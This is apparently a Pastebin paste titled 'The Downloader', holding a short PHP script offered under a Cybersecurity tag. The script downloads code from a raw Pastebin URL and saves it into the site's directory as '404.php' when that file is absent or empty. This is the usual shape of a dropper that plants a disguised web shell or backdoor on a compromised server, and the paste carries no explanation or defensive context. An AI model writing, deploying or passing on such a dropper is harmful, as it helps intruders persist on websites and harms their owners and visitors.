willysec_id

The Downloader

Jul 6th, 2025 (edited)
1,536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.41 KB | Cybersecurity | 0 0
  1. <?php
  2. //The Downloader
  3. $fn = __DIR__.'/404.php';
  4. $fu = 'https://pastebin.com/raw/GWVVCDUj';
  5. if (!file_exists($fn) || filesize($fn) == 0) {
  6.     if (function_exists('curl_version')) {
  7.         $ch = curl_init($fu);
  8.         $fp = fopen($fn, 'w');
  9.         curl_setopt($ch, CURLOPT_FILE, $fp);
  10.         curl_exec($ch);
  11.         curl_close($ch);
  12.         fclose($fp);
  13.     } else {
  14.         copy($fu, $fn);
  15.     }
  16. }
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment